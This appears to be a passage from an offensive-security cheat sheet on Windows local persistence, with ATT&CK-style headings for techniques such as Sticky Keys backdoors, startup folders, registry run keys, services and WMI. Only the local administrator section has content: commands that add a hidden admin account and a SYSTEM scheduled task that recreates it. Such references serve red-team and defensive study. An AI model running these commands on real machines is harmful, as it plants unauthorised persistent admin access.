Local persistence
Local Administrator account
ATT&CK
Persistence type
Privilege level required
Monitoring possibilities
# Creates a new account.
net user /add <USERNAME> <PASSWORD>
# Adds account as administrator.
net localgroup Administrators <USERNAME> /add
net localgroup Administrateurs <USERNAME> /add
# Define a scheduled task that will create a local user and add it to the local Administrator group every <MODIFIER>.
# The <PERIODICITY> depends on the periodicity chosen (minute, hourly, daily, weekly, or monthly): 1 - 1439 for minutes, 1 - 23 for hours, 1 - 365 for days, 1 - 52 for weeks or 1 - 12 for months.
# To avoid a warning on the password length (that may require an user interaction), the password specified should be shorter than 14 characters.
schtasks /create /tn "<TASK_NAME>" /tr "cmd /c net user <USERNAME> <PASSWORD> /add && net localgroup Administrators <USERNAME> /add" /sc <minute | hourly | daily | weekly | monthly> /mo <PERIODICITY> /RU "NT AUTHORITY\SYSTEM"Sticky Keys or Utilman backdoors
ATT&CK
Persistence type
Privilege level required
Monitoring possibilities
Windows startup folders
ATT&CK
Persistence type
Privilege level required
Monitoring possibilities
ASEP registry keys
ATT&CK
Persistence type
Privilege level required
Monitoring possibilities
Scheduled tasks
ATT&CK
Persistence type
Privilege level required
Monitoring possibilities
Windows services
ATT&CK
Persistence type
Privilege level required
Monitoring possibilities
WMI subscription
DLL hijacking
References
Last updated